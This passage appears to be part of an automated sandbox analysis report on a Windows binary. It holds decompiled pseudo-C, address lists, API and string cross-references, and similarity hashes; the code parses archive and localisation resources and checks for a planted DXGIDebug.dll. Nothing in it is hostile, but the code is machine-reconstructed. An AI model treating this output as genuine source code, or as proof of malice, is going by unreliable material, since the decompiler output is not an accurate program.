				_t206 = GetProcAddress(_t200, "SetDefaultDllDirectories");
				if(_t206 != 0) {
					_t182 = _t206;
					 *0x1122260(((0 | _t180 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000);
					 *_t206();
					_t180 = 1;
				}
				goto L5;
			}

0x01100032
0x01100038
0x01100040
0x01100048
0x0110004c
0x011000b2
0x011000b2
0x011000b7
0x011000ba
0x011000c2
0x011000c7
0x011000cf
0x011000da
0x011000e2
0x011000ea
0x011000f2
0x011000fa
0x01100102
0x0110010a
0x01100112
0x0110011a
0x01100122
0x0110012a
0x01100132
0x0110013a
0x01100142
0x0110014a
0x01100152
0x0110015a
0x01100162
0x0110016a
0x01100172
0x0110017a
0x01100182
0x0110018a
0x01100192
0x0110019a
0x011001a5
0x011001b0
0x011001bb
0x011001c6
0x011001d1
0x011001dc
0x011001e7
0x011001f2
0x011001fd
0x01100208
0x01100213
0x0110021e
0x01100229
0x01100234
0x0110023f
0x0110024a
0x01100255
0x01100260
0x0110026b
0x01100276
0x01100281
0x0110028c
0x01100297
0x011002a2
0x011002ad
0x011002b8
0x011002c3
0x011002ce
0x011002d9
0x011002e4
0x011002ef
0x011002fa
0x01100305
0x01100310
0x011003e2
0x011003ed
0x0110040a
0x0110040f
0x01100411
0x01100413
0x0110041d
0x0110042a
0x0110042a
0x0110041f
0x01100423
0x01100423
0x0110042e
0x01100450
0x01100450
0x01100461
0x0110046e
0x01100476
0x01100480
0x01100484
0x01100486
0x011004be
0x011004be
0x011004c0
0x011005d7
0x011005d7
0x011004ce
0x011004dd
0x0110054c
0x01100554
0x01100568
0x0110056d
0x01100570
0x01100576
0x01100578
0x01100581
0x01100596
0x011005ae
0x011005b9
0x011005bf
0x011005bf
0x011004df
0x011004e4
0x011004ee
0x011004fa
0x01100502
0x0110051c
0x01100521
0x0110053b
0x0110053b
0x011005c7
0x011005c7
0x01100488
0x0110048a
0x0110048a
0x0110049b
0x011004a8
0x011004b0
0x00000000
0x00000000
0x011004b2
0x011004b6
0x00000000
0x00000000
0x00000000
0x011004b8
0x011004ba
0x00000000
0x011004ba
0x01100430
0x01100445
0x0110044b
0x0110044e
0x00000000
0x00000000
0x00000000
0x0110044e
0x01100478
0x01100478
0x01100479
0x00000000
0x0110047e
0x0110031c
0x0110031e
0x01100321
0x00000000
0x00000000
0x01100332
0x01100354
0x01100358
0x011003d6
0x011003d7
0x011003dd
0x00000000
0x0110036a
0x0110037f
0x01100385
0x01100387
0x00000000
0x00000000
0x0110038f
0x01100391
0x01100396
0x011003a5
0x011003ad
0x011003cb
0x011003d0
0x011003d2
0x011003d4
0x00000000
0x00000000
0x011003b8
0x011003bd
0x011003c9
0x011003ca
0x011003ca
0x00000000
0x011003cb
0x01100358
0x01100054
0x0110005a
0x01100061
0x01100065
0x0110006c
0x01100075
0x01100077
0x0110007d
0x0110007d
0x0110008b
0x0110008f
0x011000a6
0x011000a8
0x011000ae
0x011000b0
0x011000b0
0x00000000

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 01100042
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 01100054
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 01100085
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 01100332
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0110034E
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 01100360
ReadFile.KERNEL32(00000000,?,00007FFE,01122BA4,00000000), ref: 0110037F
CloseHandle.KERNEL32(00000000), ref: 011003D7
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 011003ED
CompareStringW.KERNELBASE(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 01100445
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 0110046E
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 011004A8

Part of subcall function 010FFFE3: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 010FFFFE
Part of subcall function 010FFFE3: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,010FEAC6,Crypt32.dll,00000000,010FEB4A,?,?,010FEB2C,?,?,?), ref: 01100020

_swprintf.LIBCMT ref: 0110051C
_swprintf.LIBCMT ref: 01100568

Part of subcall function 010F3FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 010F3FE9

AllocConsole.KERNEL32 ref: 01100570
GetCurrentProcessId.KERNEL32 ref: 0110057A
AttachConsole.KERNEL32(00000000), ref: 01100581
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 011005A7
WriteConsoleW.KERNEL32(00000000), ref: 011005AE
Sleep.KERNEL32(00002710), ref: 011005B9
FreeConsole.KERNEL32 ref: 011005BF
ExitProcess.KERNEL32 ref: 011005C7

Strings

kernel32, xrefs: 0110003B
uxtheme.dll, xrefs: 011004E9
SetDllDirectoryW, xrefs: 0110004E
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 01100556
SetDefaultDllDirectories, xrefs: 0110007F
DXGIDebug.dll, xrefs: 011000C7, 01100431
dwmapi.dll, xrefs: 011000F2, 011004DF

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1201351596-3298887752
Opcode ID: fbed891d38dc39048a6aefbf0bfe55b1b72b8423c25627fed592db302bce1036
Instruction ID: 2e10c91b669544eb76f7ef1649d6a0a7e18327cf5e4ade9ca53b2f44836e7f08
Opcode Fuzzy Hash: fbed891d38dc39048a6aefbf0bfe55b1b72b8423c25627fed592db302bce1036
Instruction Fuzzy Hash: 45D1B1B1508395AFD33D9F50D948F9FBBE8BB89344F40891CF698A6180C7748568CB67

Uniqueness

Uniqueness Score: -1.00%

Function 010FD281, Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 555
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E010FD281(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t200;
				void* _t201;
				WCHAR* _t202;
				void* _t207;
				signed int _t216;
				signed int _t219;
				signed int _t222;
				signed int _t232;
				void* _t233;
				void* _t236;
				signed int _t239;
				signed int _t241;
				signed int _t242;
				signed int _t243;
				signed int _t248;
				signed int _t252;
				signed int _t266;
				signed int _t271;
				signed int _t272;
				signed int _t274;
				signed int _t276;
				signed int _t277;
				void* _t278;
				signed int _t283;
				char* _t284;
				signed int _t288;
				short _t291;
				void* _t292;
				signed int _t298;
				signed int _t303;
				void* _t306;
				void* _t308;
				void* _t311;
				signed int _t320;
				intOrPtr* _t322;
				unsigned int _t332;
				signed int _t334;
				unsigned int _t337;
				signed int _t340;
				void* _t347;
				signed int _t352;
				signed int _t355;
				signed int _t356;
				signed int _t361;
				signed int _t365;
				void* _t374;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;
				intOrPtr* _t380;
				signed int _t381;
				signed int _t384;
				signed int _t385;
				signed int _t386;
				signed int _t387;
				signed int _t388;
				intOrPtr* _t391;
				signed int _t393;
				void* _t394;
				void* _t396;
				void* _t398;
				void* _t402;
				void* _t403;

				_t374 = __edx;
				_t322 = __ecx;
				E0110E0E4(0x1121d65, _t394);
				E0110E1C0();
				_t200 = 0x5c;
				_push(0x42f4);
				_push( *((intOrPtr*)(_t394 + 8)));
				_t391 = _t322;
				 *((intOrPtr*)(_t394 - 0x40)) = _t200;
				 *((intOrPtr*)(_t394 - 0x3c)) = _t391;
				_t201 = E01111438(_t322);
				_t320 = 0;
				_t400 = _t201;
				_t202 = _t394 - 0x12dc;
				if(_t201 != 0) {
					E010FFD96(_t202,  *((intOrPtr*)(_t394 + 8)), 0x800);
				} else {
					GetModuleFileNameW(0, _t202, 0x800);
					 *((short*)(E010FBBC5(_t400, _t394 - 0x12dc))) = 0;
					E010FFD6E(_t400, _t394 - 0x12dc,  *((intOrPtr*)(_t394 + 8)), 0x800);
				}
				E010F95B6(_t394 - 0x2300);
				_push(4);
				 *(_t394 - 4) = _t320;
				_push(_t394 - 0x12dc);
				if(E010F9950(_t394 - 0x2300, _t391) == 0) {
					L57:
					_t207 = E010F95E8(_t394 - 0x2300, _t391); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t394 - 0xc));
					return _t207;
				} else {
					_t384 = _t320;
					_t402 =  *0x112d5f4 - _t384; // 0x63
					if(_t402 <= 0) {
						L7:
						E011158F0(_t320, _t384, _t391,  *_t391,  *((intOrPtr*)(_t391 + 4)), 4, E010FCEF0);
						E011158F0(_t320, _t384, _t391,  *((intOrPtr*)(_t391 + 0x14)),  *((intOrPtr*)(_t391 + 0x18)), 4, E010FCE50);
						_t398 = _t396 + 0x20;
						 *(_t394 - 0x15) = _t320;
						_t385 = _t384 | 0xffffffff;
						 *(_t394 - 0x2c) = _t320;
						 *(_t394 - 0x20) = _t385;
						while(_t385 == 0xffffffff) {
							 *(_t394 - 0x10) = E010F9D80();
							_t298 = E010F9B80(_t374, _t394 - 0x4300, 0x2000);
							 *(_t394 - 0x28) = _t298;
							_t388 = _t320;
							_t25 = _t298 - 0x10; // -16
							_t365 = _t25;
							 *(_t394 - 0x30) = _t365;
							if(_t365 < 0) {
								L25:
								_t299 =  *(_t394 - 0x10);
								_t385 =  *(_t394 - 0x20);
								L26:
								E010F9C70(_t394 - 0x2300, _t394, _t299 +  *(_t394 - 0x28) + 0xfffffff0, _t320, _t320);
								_t303 =  *(_t394 - 0x2c) + 1;
								 *(_t394 - 0x2c) = _t303;
								__eflags = _t303 - 0x100;
								if(_t303 < 0x100) {
									continue;
								}
								__eflags = _t385 - 0xffffffff;
								if(_t385 == 0xffffffff) {
									goto L57;
								}
								break;
							}
							L10:
							while(1) {
								if( *((char*)(_t394 + _t388 - 0x4300)) != 0x2a ||  *((char*)(_t394 + _t388 - 0x42ff)) != 0x2a) {
									L14:
									_t374 = 0x2a;
									if( *((intOrPtr*)(_t394 + _t388 - 0x4300)) != _t374) {
										L18:
										if( *((char*)(_t394 + _t388 - 0x4300)) != 0x52 ||  *((char*)(_t394 + _t388 - 0x42ff)) != 0x61) {
											L21:
											_t388 = _t388 + 1;
											if(_t388 >  *(_t394 - 0x30)) {
												goto L25;
											}
											_t298 =  *(_t394 - 0x28);
											continue;
										} else {
											_t306 = E01115D20(_t394 - 0x42fe + _t388, 0x11228ec, 4);
											_t398 = _t398 + 0xc;
											if(_t306 == 0) {
												goto L57;
											}
											goto L21;
										}
									}
									_t370 = _t394 - 0x42fc + _t388;
									if( *((intOrPtr*)(_t394 - 0x42fc + _t388 - 2)) == _t374 && _t388 <= _t298 + 0xffffffe0) {
										_t308 = E01115668(_t370, L"*messages***", 0xb);
										_t398 = _t398 + 0xc;
										if(_t308 == 0) {
											 *(_t394 - 0x15) = 1;
											goto L24;
										}
									}
									goto L18;
								} else {
									_t311 = E01115D20(_t394 - 0x42fe + _t388, "*messages***", 0xb);
									_t398 = _t398 + 0xc;
									if(_t311 == 0) {
										L24:
										_t299 =  *(_t394 - 0x10);
										_t385 = _t388 +  *(_t394 - 0x10);
										 *(_t394 - 0x20) = _t385;
										goto L26;
									}
									_t298 =  *(_t394 - 0x28);
									goto L14;
								}
							}
						}
						asm("cdq");
						E010F9C70(_t394 - 0x2300, _t394, _t385, _t374, _t320);
						_push(0x200002);
						_t386 = E01113413(_t394 - 0x2300);
						 *(_t394 - 0x1c) = _t386;
						__eflags = _t386;
						if(_t386 == 0) {
							goto L57;
						}
						_t332 = E010F9B80(_t374, _t386, 0x200000);
						 *(_t394 - 0x20) = _t332;
						__eflags =  *(_t394 - 0x15);
						if( *(_t394 - 0x15) == 0) {
							_push(2 + _t332 * 2);
							_t216 = E01113413(_t332);
							 *(_t394 - 0x30) = _t216;
							__eflags = _t216;
							if(_t216 == 0) {
								goto L57;
							}
							_t334 =  *(_t394 - 0x20);
							 *(_t334 + _t386) = _t320;
							__eflags = _t334 + 1;
							E011012D6(_t386, _t216, _t334 + 1);
							L0111340E(_t386);
							_t386 =  *(_t394 - 0x30);
							_t337 =  *(_t394 - 0x20);
							 *(_t394 - 0x1c) = _t386;
							L33:
							_t219 = 0x100000;
							__eflags = _t337 - 0x100000;
							if(_t337 <= 0x100000) {
								_t219 = _t337;
							}
							 *((short*)(_t386 + _t219 * 2)) = 0;
							E010FFD3B(_t394 - 0x14c, 0x11228f4, 0x64);
							_push(0x20002);
							_t222 = E01113413(0);
							 *(_t394 - 0x10) = _t222;
							__eflags = _t222;
							if(_t222 != 0) {
								__eflags =  *(_t394 - 0x20);
								_t340 = _t320;
								_t375 = _t320;
								 *(_t394 - 0x14) = _t340;
								 *(_t394 - 0x84) = _t320;
								_t387 = _t320;
								 *(_t394 - 0x28) = _t320;
								if( *(_t394 - 0x20) <= 0) {
									L54:
									E010FCDB2(_t391, _t375, _t394 - 0x84, _t222, _t340);
									L0111340E( *(_t394 - 0x1c));
									L0111340E( *(_t394 - 0x10));
									__eflags =  *((intOrPtr*)(_t391 + 0x2c)) - _t320;
									if( *((intOrPtr*)(_t391 + 0x2c)) <= _t320) {
										L56:
										 *0x112ff94 =  *((intOrPtr*)(_t391 + 0x28));
										E011158F0(_t320, _t387, _t391,  *((intOrPtr*)(_t391 + 0x3c)),  *((intOrPtr*)(_t391 + 0x40)), 4, E010FCFB0);
										E011158F0(_t320, _t387, _t391,  *((intOrPtr*)(_t391 + 0x50)),  *((intOrPtr*)(_t391 + 0x54)), 4, E010FCFE0);
										goto L57;
									} else {
										goto L55;
									}
									do {
										L55:
										E011036F1(_t391 + 0x3c, _t375, _t320);
										E011036F1(_t391 + 0x50, _t375, _t320);
										_t320 = _t320 + 1;
										__eflags = _t320 -  *((intOrPtr*)(_t391 + 0x2c));
									} while (_t320 <  *((intOrPtr*)(_t391 + 0x2c)));
									goto L56;
								}
								 *((intOrPtr*)(_t394 - 0x34)) = 0xd;
								 *((intOrPtr*)(_t394 - 0x38)) = 0xa;
								 *(_t394 - 0x30) = 9;
								do {
									_t232 =  *(_t394 - 0x1c);
									__eflags = _t387;
									if(_t387 == 0) {
										L80:
										_t376 =  *(_t232 + _t387 * 2) & 0x0000ffff;
										_t387 = _t387 + 1;
										__eflags = _t376;
										if(_t376 == 0) {
											break;
										}
										__eflags = _t376 -  *((intOrPtr*)(_t394 - 0x40));
										if(_t376 !=  *((intOrPtr*)(_t394 - 0x40))) {
											_t233 = 0xd;
											__eflags = _t376 - _t233;
											if(_t376 == _t233) {
												L99:
												E010FCDB2(_t391,  *(_t394 - 0x28), _t394 - 0x84,  *(_t394 - 0x10), _t340);
												 *(_t394 - 0x84) = _t320;
												_t340 = _t320;
												 *(_t394 - 0x28) = _t320;
												L98:
												 *(_t394 - 0x14) = _t340;
												goto L52;
											}
											_t236 = 0xa;
											__eflags = _t376 - _t236;
											if(_t376 == _t236) {
												goto L99;
											}
											L96:
											__eflags = _t340 - 0x10000;
											if(_t340 >= 0x10000) {
												goto L52;
											}
											 *( *(_t394 - 0x10) + _t340 * 2) = _t376;
											_t340 = _t340 + 1;
											__eflags = _t340;
											goto L98;
										}
										__eflags = _t340 - 0x10000;
										if(_t340 >= 0x10000) {
											goto L52;
										}
										_t239 = ( *(_t232 + _t387 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t239;
										if(_t239 == 0) {
											_push(0x22);
											L93:
											_pop(_t381);
											 *( *(_t394 - 0x10) + _t340 * 2) = _t381;
											_t340 = _t340 + 1;
											 *(_t394 - 0x14) = _t340;
											_t387 = _t387 + 1;
											goto L52;
										}
										_t241 = _t239 - 0x3a;
										__eflags = _t241;
										if(_t241 == 0) {
											_push(0x5c);
											goto L93;
										}
										_t242 = _t241 - 0x12;
										__eflags = _t242;
										if(_t242 == 0) {
											_push(0xa);
											goto L93;
										}
										_t243 = _t242 - 4;
										__eflags = _t243;
										if(_t243 == 0) {
											_push(0xd);
											goto L93;
										}
										__eflags = _t243 != 0;
										if(_t243 != 0) {
											goto L96;
										}
										_push(9);
										goto L93;
									}
									_t377 =  *(_t232 + _t387 * 2 - 2) & 0x0000ffff;
									__eflags = _t377 -  *((intOrPtr*)(_t394 - 0x34));
									if(_t377 ==  *((intOrPtr*)(_t394 - 0x34))) {
										L42:
										_t347 = 0x3a;
										__eflags =  *(_t232 + _t387 * 2) - _t347;
										if( *(_t232 + _t387 * 2) != _t347) {
											L71:
											 *(_t394 - 0x24) = _t232 + _t387 * 2;
											_t248 = E010FFBFF( *(_t232 + _t387 * 2) & 0x0000ffff);
											__eflags = _t248;
											if(_t248 == 0) {
												L79:
												_t340 =  *(_t394 - 0x14);
												_t232 =  *(_t394 - 0x1c);
												goto L80;
											}
											E010FFD96(_t394 - 0x2dc,  *(_t394 - 0x24), 0x64);
											_t252 = E011156E5(_t394 - 0x2dc, L" \t,");
											 *(_t394 - 0x24) = _t252;
											__eflags = _t252;
											if(_t252 == 0) {
												goto L79;
											}
											 *_t252 = 0;
											E011014F2(_t394 - 0x2dc, _t394 - 0x1b0, 0x64);
											E010FFD3B(_t394 - 0xe8, _t394 - 0x14c, 0x64);
											E010FFD14(__eflags, _t394 - 0xe8, _t394 - 0x1b0, 0x64);
											E010FFD3B(_t394 - 0x84, _t394 - 0xe8, 0x32);
											_t266 = E01115739(_t320, 0, _t387, _t391, _t394 - 0xe8,  *_t391,  *((intOrPtr*)(_t391 + 4)), 4, E010FCF90);
											_t398 = _t398 + 0x14;
											__eflags = _t266;
											if(_t266 != 0) {
												_t272 =  *_t266 * 0xc;
												__eflags = _t272;
												_t169 = _t272 + 0x112d150; // 0x28b64ee0
												 *(_t394 - 0x28) =  *_t169;
											}
											_t387 = _t387 + ( *(_t394 - 0x24) - _t394 - 0x2dc >> 1) + 1;
											__eflags = _t387;
											_t271 =  *(_t394 - 0x1c);
											_t378 = 0x20;
											while(1) {
												_t352 =  *(_t271 + _t387 * 2) & 0x0000ffff;
												__eflags = _t352 - _t378;
												if(_t352 == _t378) {
													goto L78;
												}
												L77:
												__eflags = _t352 -  *(_t394 - 0x30);
												if(_t352 !=  *(_t394 - 0x30)) {
													L51:
													_t340 =  *(_t394 - 0x14);
													goto L52;
												}
												L78:
												_t387 = _t387 + 1;
												_t352 =  *(_t271 + _t387 * 2) & 0x0000ffff;
												__eflags = _t352 - _t378;
												if(_t352 == _t378) {
													goto L78;
												}
												goto L77;
											}
										}
										_t393 =  *(_t394 - 0x1c);
										_t274 = _t232 | 0xffffffff;
										__eflags = _t274;
										 *(_t394 - 0x2c) = _t274;
										 *(_t394 - 0x50) = L"STRINGS";
										 *(_t394 - 0x4c) = L"DIALOG";
										 *(_t394 - 0x48) = L"MENU";
										 *(_t394 - 0x44) = L"DIRECTION";
										 *(_t394 - 0x24) = _t320;
										do {
											 *(_t394 - 0x24) = E011133F3( *((intOrPtr*)(_t394 + _t320 * 4 - 0x50)));
											_t276 = E01115668(_t393 + 2 + _t387 * 2,  *((intOrPtr*)(_t394 + _t320 * 4 - 0x50)), _t275);
											_t398 = _t398 + 0x10;
											_t379 = 0x20;
											__eflags = _t276;
											if(_t276 != 0) {
												L47:
												_t277 =  *(_t394 - 0x2c);
												goto L48;
											}
											_t361 =  *(_t394 - 0x24) + _t387;
											__eflags =  *((intOrPtr*)(_t393 + 2 + _t361 * 2)) - _t379;
											if( *((intOrPtr*)(_t393 + 2 + _t361 * 2)) > _t379) {
												goto L47;
											}
											_t277 = _t320;
											_t107 = _t361 + 1; // 0x200001
											_t387 = _t107;
											 *(_t394 - 0x2c) = _t277;
											L48:
											_t320 = _t320 + 1;
											__eflags = _t320 - 4;
										} while (_t320 < 4);
										_t391 =  *((intOrPtr*)(_t394 - 0x3c));
										_t320 = 0;
										__eflags = _t277;
										if(__eflags != 0) {
											_t232 =  *(_t394 - 0x1c);
											if(__eflags <= 0) {
												goto L71;
											} else {
												goto L59;
											}
											while(1) {
												L59:
												_t355 =  *(_t232 + _t387 * 2) & 0x0000ffff;
												__eflags = _t355 - _t379;
												if(_t355 == _t379) {
													goto L61;
												}
												L60:
												__eflags = _t355 -  *(_t394 - 0x30);
												if(_t355 !=  *(_t394 - 0x30)) {
													_t380 = _t232 + _t387 * 2;
													 *(_t394 - 0x24) = _t320;
													_t278 = 0x20;
													_t356 = _t320;
													__eflags =  *_t380 - _t278;
													if( *_t380 <= _t278) {
														L66:
														 *((short*)(_t394 + _t356 * 2 - 0x214)) = 0;
														E011014F2(_t394 - 0x214, _t394 - 0xe8, 0x64);
														_t387 = _t387 +  *(_t394 - 0x24);
														_t283 =  *(_t394 - 0x2c);
														__eflags = _t283 - 3;
														if(_t283 != 3) {
															__eflags = _t283 - 1;
															_t284 = "$%s:";
															if(_t283 != 1) {
																_t284 = "@%s:";
															}
															E010FDCAB(_t394 - 0x14c, 0x64, _t284, _t394 - 0xe8);
															_t398 = _t398 + 0x10;
														} else {
															_t288 = E01113429(_t394 - 0x214, _t394 - 0x214, L"RTL");
															asm("sbb al, al");
															 *((char*)(_t391 + 0x64)) =  ~_t288 + 1;
														}
														goto L51;
													} else {
														goto L63;
													}
													while(1) {
														L63:
														__eflags = _t356 - 0x63;
														if(_t356 >= 0x63) {
															break;
														}
														_t291 =  *_t380;
														_t380 = _t380 + 2;
														 *((short*)(_t394 + _t356 * 2 - 0x214)) = _t291;
														_t356 = _t356 + 1;
														_t292 = 0x20;
														__eflags =  *_t380 - _t292;
														if( *_t380 > _t292) {
															continue;
														}
														break;
													}
													 *(_t394 - 0x24) = _t356;
													goto L66;
												}
												L61:
												_t387 = _t387 + 1;
												L59:
												_t355 =  *(_t232 + _t387 * 2) & 0x0000ffff;
												__eflags = _t355 - _t379;
												if(_t355 == _t379) {
													goto L61;
												}
												goto L60;
											}
										}
										E010FFD3B(_t394 - 0x14c, 0x11228f4, 0x64);
										goto L51;
									}
									_t83 = _t394 - 0x38; // 0xa
									__eflags = _t377 -  *_t83;
									if(_t377 !=  *_t83) {
										goto L80;
									}
									goto L42;
									L52:
									__eflags = _t387 -  *(_t394 - 0x20);
								} while (_t387 <  *(_t394 - 0x20));
								_t222 =  *(_t394 - 0x10);
								_t375 =  *(_t394 - 0x28);
								goto L54;
							} else {
								L0111340E(_t386);
								goto L57;
							}
						}
						_t337 = _t332 >> 1;
						 *(_t394 - 0x20) = _t337;
						goto L33;
					} else {
						goto L5;
					}
					do {
						L5:
						E011036F1(_t391, _t374, _t384);
						E011036F1(_t391 + 0x14, _t374, _t384);
						_t384 = _t384 + 1;
						_t403 = _t384 -  *0x112d5f4; // 0x63
					} while (_t403 < 0);
					_t320 = 0;
					goto L7;
				}
			}

0x010fd281
0x010fd281
0x010fd286
0x010fd290
0x010fd29a
0x010fd29b
0x010fd29c
0x010fd29f
0x010fd2a1
0x010fd2a4
0x010fd2a7
0x010fd2ad
0x010fd2af
0x010fd2b2
0x010fd2b8
0x010fd2f4
0x010fd2ba
0x010fd2c2
0x010fd2da
0x010fd2e4
0x010fd2e4
0x010fd2ff
0x010fd304
0x010fd30c
0x010fd30f
0x010fd31d
0x010fd6e0
0x010fd6e6
0x010fd6f1
0x010fd6fb
0x010fd323
0x010fd323
0x010fd325
0x010fd32b
0x010fd349
0x010fd355
0x010fd367
0x010fd36c
0x010fd36f
0x010fd372
0x010fd375
0x010fd378
0x010fd37b
0x010fd38f
0x010fd3a4
0x010fd3a9
0x010fd3ac
0x010fd3ae
0x010fd3ae
0x010fd3b1
0x010fd3b6
0x010fd475
0x010fd475
0x010fd478
0x010fd47b
0x010fd48c
0x010fd494
0x010fd495
0x010fd498
0x010fd49d
0x00000000
0x00000000
0x010fd4a3
0x010fd4a6
0x00000000
0x00000000
0x00000000
0x010fd4a6
0x00000000
0x010fd3bc
0x010fd3c4
0x010fd3ef
0x010fd3f1
0x010fd3fa
0x010fd425
0x010fd42d
0x010fd459
0x010fd459
0x010fd45d
0x00000000
0x00000000
0x010fd45f
0x00000000
0x010fd439
0x010fd449
0x010fd44e
0x010fd453
0x00000000
0x00000000
0x00000000
0x010fd453
0x010fd42d
0x010fd402
0x010fd408
0x010fd419
0x010fd41e
0x010fd423
0x010fd467
0x00000000
0x010fd467
0x010fd423
0x00000000
0x010fd3d0
0x010fd3e0
0x010fd3e5
0x010fd3ea
0x010fd46b
0x010fd46b
0x010fd46e
0x010fd470
0x00000000
0x010fd470
0x010fd3ec
0x00000000
0x010fd3ec
0x010fd3c4
0x010fd3bc
0x010fd4b5
0x010fd4b8
0x010fd4bd
0x010fd4c7
0x010fd4c9
0x010fd4cd
0x010fd4cf
0x00000000
0x00000000
0x010fd4e6
0x010fd4eb
0x010fd4ee
0x010fd4f0
0x010fd500
0x010fd501
0x010fd506
0x010fd50a
0x010fd50c
0x00000000
0x00000000
0x010fd512
0x010fd515
0x010fd518
0x010fd51c
0x010fd522
0x010fd527
0x010fd52b
0x010fd52e
0x010fd531
0x010fd531
0x010fd536
0x010fd538
0x010fd53a
0x010fd53a
0x010fd540
0x010fd550
0x010fd555
0x010fd55a
0x010fd55f
0x010fd563
0x010fd565
0x010fd573
0x010fd577
0x010fd579
0x010fd57b
0x010fd57e
0x010fd584
0x010fd586
0x010fd589
0x010fd671
0x010fd67d
0x010fd685
0x010fd68d
0x010fd694
0x010fd697
0x010fd6b1
0x010fd6be
0x010fd6c6
0x010fd6d8
0x00000000
0x00000000
0x00000000
0x00000000
0x010fd699
0x010fd699
0x010fd69d
0x010fd6a6
0x010fd6ab
0x010fd6ac
0x010fd6ac
0x00000000
0x010fd699
0x010fd58f
0x010fd596
0x010fd59d
0x010fd5a4
0x010fd5a4
0x010fd5a7
0x010fd5a9
0x010fd8bc
0x010fd8bc
0x010fd8c0
0x010fd8c1
0x010fd8c4
0x00000000
0x00000000
0x010fd8ca
0x010fd8ce
0x010fd920
0x010fd921
0x010fd924
0x010fd94a
0x010fd95a
0x010fd95f
0x010fd965
0x010fd967
0x010fd942
0x010fd942
0x00000000
0x010fd942
0x010fd928
0x010fd929
0x010fd92c
0x00000000
0x00000000
0x010fd92e
0x010fd92e
0x010fd934
0x00000000
0x00000000
0x010fd93d
0x010fd941
0x010fd941
0x00000000
0x010fd941
0x010fd8d0
0x010fd8d6
0x00000000
0x00000000
0x010fd8e0
0x010fd8e0
0x010fd8e3
0x010fd90a
0x010fd90c
0x010fd90f
0x010fd910
0x010fd914
0x010fd915
0x010fd918
0x00000000
0x010fd918
0x010fd8e5
0x010fd8e5
0x010fd8e8
0x010fd906
0x00000000
0x010fd906
0x010fd8ea
0x010fd8ea
0x010fd8ed
0x010fd902
0x00000000
0x010fd902
0x010fd8ef
0x010fd8ef
0x010fd8f2
0x010fd8fe
0x00000000
0x010fd8fe
0x010fd8f5
0x010fd8f8
0x00000000
0x00000000
0x010fd8fa
0x00000000
0x010fd8fa
0x010fd5af
0x010fd5b4
0x010fd5b8
0x010fd5c4
0x010fd5c6
0x010fd5c7
0x010fd5cb
0x010fd7c0
0x010fd7c3
0x010fd7ca
0x010fd7cf
0x010fd7d1
0x010fd8b6
0x010fd8b6
0x010fd8b9
0x00000000
0x010fd8b9
0x010fd7e3
0x010fd7f4
0x010fd7f9
0x010fd7fe
0x010fd800
0x00000000
0x00000000
0x010fd808
0x010fd81b
0x010fd830
0x010fd845
0x010fd85a
0x010fd872
0x010fd877
0x010fd87a
0x010fd87c
0x010fd87e
0x010fd87e
0x010fd881
0x010fd887
0x010fd887
0x010fd89a
0x010fd89a
0x010fd89c
0x010fd89f
0x010fd8a0
0x010fd8a0
0x010fd8a4
0x010fd8a7
0x00000000
0x00000000
0x010fd8a9
0x010fd8a9
0x010fd8ad
0x010fd65f
0x010fd65f
0x00000000
0x010fd65f
0x010fd8b3
0x010fd8b3
0x010fd8a0
0x010fd8a4
0x010fd8a7
0x00000000
0x00000000
0x00000000
0x010fd8a7
0x010fd8a0
0x010fd5d1
0x010fd5d4
0x010fd5d4
0x010fd5d7
0x010fd5da
0x010fd5e1
0x010fd5e8
0x010fd5ef
0x010fd5f6
0x010fd5f9
0x010fd60a
0x010fd611
0x010fd616
0x010fd61b
0x010fd61c
0x010fd61e
0x010fd636
0x010fd636
0x00000000
0x010fd636
0x010fd623
0x010fd625
0x010fd62a
0x00000000
0x00000000
0x010fd62c
0x010fd62e
0x010fd62e
0x010fd631
0x010fd639
0x010fd639
0x010fd63a
0x010fd63a
0x010fd63f
0x010fd642
0x010fd644
0x010fd646
0x010fd6fe
0x010fd701
0x00000000
0x00000000
0x00000000
0x00000000
0x010fd707
0x010fd707
0x010fd707
0x010fd70b
0x010fd70e
0x00000000
0x00000000
0x010fd710
0x010fd710
0x010fd714
0x010fd719
0x010fd71c
0x010fd721
0x010fd722
0x010fd724
0x010fd727
0x010fd748
0x010fd74a
0x010fd762
0x010fd767
0x010fd76a
